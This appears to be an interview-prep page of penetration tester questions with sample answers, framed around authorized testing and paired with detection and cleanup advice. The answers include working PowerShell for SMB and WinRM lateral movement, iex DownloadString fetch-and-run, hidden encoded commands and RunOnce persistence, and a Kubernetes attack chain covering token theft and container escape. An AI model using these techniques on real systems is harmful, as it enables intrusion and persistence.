Penetration Tester Role Questions

Understanding the penetration tester role, including the types of authorized security testing they perform, methodologies and tools used for vulnerability identification, reporting and remediation guidance, and the difference between ethical testing and malicious hacking. Candidates should show awareness of scopes and rules of engagement, legal and ethical guidelines, coordination with incident response and engineering teams, and how penetration testing fits into a secure development lifecycle and an overall security program.

EasyTechnical

31 practiced

Explain what a penetration test (pen test) is and how it differs from a vulnerability assessment and a security audit. In your answer, include:- goals and expected deliverables for each activity- when you'd recommend a manual pen test versus an automated scan- a concrete short example of a pen test finding that an automated scanner would likely miss

EasyTechnical

25 practiced

List and explain the essential elements of a Rules of Engagement (RoE) document for an authorized penetration test. Include, at minimum: scope, target inventory and IP ranges, testing windows, allowed and disallowed techniques, data handling and retention, communication and escalation procedures, and kill-switch behavior.

HardTechnical

48 practiced

A client enforces password + push-based MFA for VPN access. Describe realistic and ethical ways a penetration tester could assess MFA robustness: include social-engineering constraints, SIM-swap risk assessment, push fatigue testing (with consent), OAuth phishing simulations, and technical vectors. Emphasize legal/ethical guardrails and the approvals required.

Sample Answer

**Clarify scope & approvals**- Obtain written Rules of Engagement (RoE) and explicit authorization from executive owner and legal (dates, scope: user population, VPN, IdP, MFA types, blackout windows).- Define allowed social-engineering types, consented user subsets, rollback and emergency contacts, data handling, and reporting SLAs.

**Assessment techniques (ethical, realistic)**- Recon: enumerate IdP, MFA vendor (Duo, Microsoft, Okta), VPN auth flow, backup methods.- SIM-swap risk assessment: OSINT on users (phone carriers, public identifiers); coordinate with carrier only with explicit client/carrier permission — otherwise document attackability and recommend mitigations.- Push fatigue (consent required): schedule controlled campaign against consenting test accounts; send multiple pushes to measure user behavior and acceptance rates; log timestamps and response metadata.- OAuth/phishing simulation: craft tenant-specific phish (consent required) to capture tokens via realistic redirect-based OAuth prompts; verify token scopes and lifetime without exfiltrating real credentials.- Social-engineering constraints: use only approved scenarios (vishing, pretext) and consenting users; no harassment, no financial coercion, no coercing users outside work hours.- Technical vectors: test MFA bypass patterns — RADIUS/SSO relay, vulnerable session tokens, IDP misconfig (skip MFA), MFA enrollment flows, backup code brute-force under rate limits, push-notification replay or device cloning where possible.

**Legal/ethical guardrails**- Written consent for any live user tests; use test accounts where feasible.- Non-destructive methods; avoid disrupting business-critical access.- Immediate stop-on-risk clause; escrow of sensitive artifacts; deliver remediation-focused findings.

**Outcome & recommendations**- Provide prioritized fixes: enforce phishing-resistant methods (FIDO2), restrict MFA enrollment changes, carrier protections, rate-limits, transaction binding on OAuth, user training for push fatigue.

HardTechnical

28 practiced

You're in an exercise where outbound internet is blocked and you cannot stage traditional toolchains. Describe non-destructive, creative methods to move laterally and persist temporarily: using native OS tooling and scripts, SMB/WinRM techniques over allowed ports, fileless execution with PowerShell, and methods to transfer or generate payloads without internet access. Discuss detection and clean-up considerations.

Sample Answer

**Approach summary**Show lateral movement and short-lived persistence using only native tooling, minimal footprint, and reversible changes. Focus on SMB/WinRM over allowed ports, fileless PowerShell, and on-host script generation/transfer without Internet. Emphasize safety: non-destructive, timeboxed artifacts and thorough cleanup.

**Techniques & examples**- SMB-based transfer (allowed ports: 445/139). Mount a reachable share and copy a payload temporarily:

powershell

# mount share, copy and execute, then remove file and unmount
net use \\10.0.0.5\share /user:DOMAIN\svc acct
copy \\10.0.0.5\share\tool.ps1 C:\Windows\Temp\tool.ps1
powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\tool.ps1
del C:\Windows\Temp\tool.ps1
net use \\10.0.0.5\share /delete

- WinRM/PowerShell Remoting (5985/5986): use Enter-PSSession / Invoke-Command with credentials to run commands in-memory:

powershell

Invoke-Command -ComputerName target -ScriptBlock { iex (New-Object Net.WebClient).DownloadString('file://10.0.0.5/share/script.ps1') } -Credential $creds

(Prefer SMB UNC paths to avoid outbound HTTP.)

- Fileless execution with PowerShell: encode and run payloads in memory; use -EncodedCommand or reflective loaders. Example: generate script locally, Base64 encode and execute:

powershell

$code = Get-Content .\payload.ps1 -Raw
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($code))
powershell -NoProfile -WindowStyle Hidden -EncodedCommand $enc

- WMI / Scheduled Tasks for lateral command execution without writing persistent binaries: - WMIC process call create / WMI Win32_Process Create to launch remote PowerShell. - schtasks to create a task with /ST set to near term and /F, then delete task after run.

- On-host payload generation when internet blocked: transfer scripts via SMB, paste chunks into remote PowerShell session and reassemble; use certutil -decode to reconstruct base64 blobs; use built-in tools (bitsadmin, certutil, powershell) to write files from local share data.

**Persistence (temporary, non-destructive)**- Use Scheduled Task with expiration or delete-after-run flag; use RunOnce registry keys (HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce) for single-run execution.- Create a service using sc create with a command that runs under temporary credentials and delete the service after test.- Prefer volatile methods (scheduled task single-run, in-memory-only) to avoid long-term artifacts.

**Detection considerations**- Watch for: unusual SMB/NetUse activity, WinRM/PowerShell remoting sessions, encoded PowerShell commands, Parent/Child process anomalies (powershell spawned by svchost/wscript), creation of scheduled tasks/services, abnormal account use.- Detection tools: Sysmon (ProcessCreate, NetworkConnect, ScheduledTaskCreate), Windows Event Logs (4624, 4688, 4697), EDR behavioral alerts, AMSI/Antimalware alerts that flag encoded scripts.

**Cleanup best practices**- Delete copied files, remove network mappings, delete scheduled tasks/services, clear Run/RunOnce keys, revoke any temporary credentials.- Optionally: restore modified ACLs, verify no lingering processes, remove audit/log entries only if authorized by engagement rules — typically do not modify logs.- Provide a cleanup script as part of the engagement to automate reversible removal and produce an artifact list for customer validation.

**Trade-offs & safety**- Fileless and SMB-based methods reduce forensic artifacts but raise EDR suspicion (encoded commands, remoting).- Always coordinate with stakeholders, limit actions to allowed targets, document actions and timeboxes, and ensure full cleanup and reporting.

HardTechnical

29 practiced

Outline a realistic attack chain to compromise a Kubernetes cluster starting from an exposed application's container with limited capabilities. Cover possible container escape vectors, kubelet and API-server misconfigurations, RBAC abuse, service-account token exfiltration, and post-compromise persistence strategies. Also list detection points and cleanup recommendations.

Sample Answer

**Situation & goal**I’m a penetration tester simulating an attacker who starts from an exposed app container with minimal capabilities and aims to fully compromise a Kubernetes cluster.

**Attack chain (stepwise)**

1. Initial foothold (container)- Enumerate filesystem, /proc, environment, mounted service account token, DNS, cgroups, capabilities (cap_net_raw, SYS_ADMIN, etc.)- Look for writable hostPath mounts, Docker socket (/var/run/docker.sock), /proc/kcore, or privileged device nodes.

2. Container escape vectors- Abuse writable hostPath to drop a setuid binary or cron on the node.- Use /var/run/docker.sock to create a privileged container on the node.- Exploit CVEs in runtime (runc/containerd) or kernel via /proc/sys interfaces.- Misconfigured capabilities (CAP_SYS_ADMIN) → pivot to host namespace.

3. Kubelet & API-server misconfigurations- Kubelet API unauthenticated or read-only: query /pods, /exec to access other pods or node specs.- Kubelet TLS/client certs on node → authenticate to API-server as node.- API-server accessible from cluster with permissive admission controllers (e.g., anonymous-auth enabled) → create/modify objects.

4. RBAC abuse & service-account token theft- Read mounted service-account token or token projected secrets.- Use token to call API-server; enumerate RBAC via /apis/rbac.authorization.k8s.io.- If token has create/patch privileges, escalate by creating ClusterRoleBinding linking to a high-privilege ClusterRole (cluster-admin).

5. Lateral movement & persistence- Create malicious DaemonSet or Deployment with hostPID/hostNetwork to run on all nodes.- Deploy a privileged container image, add a cronjob or systemd unit via hostPath.- Persist backdoor via image registry compromise or CI/CD pipeline secret exfiltration.

**Detection points**- Unexpected API-server calls (abnormal service-account usage), new ClusterRoleBindings, DaemonSets, or privileged pods.- Kubelet logs showing exec/attach from unexpected pods.- Node-level anomalies: new containers spawned via docker socket, unexpected binaries in hostPaths, changed crontabs/systemd units.- Network: outbound connections to C2, DNS anomalies, large token reads.

**Cleanup & remediation**- Revoke compromised service-account tokens; rotate credentials and TLS certs.- Remove malicious Deployments/DaemonSets and unapproved ClusterRoleBindings.- Reimage compromised nodes if host was escaped; rebuild from trusted images.- Harden: disable anonymous kubelet/API access, enable RBAC least privilege, restrict hostPath and privileged containers via PodSecurityPolicies/PSA, remove docker socket mounts, enable audit logging and node isolation, scan images and patch runtimes/kernel.

This chain prioritizes realistic misconfigurations and practical detection/cleanup steps I would test and report.

Unlock Full Question Bank

Get access to hundreds of Penetration Tester Role interview questions and detailed answers.

Join thousands of developers preparing for their dream job.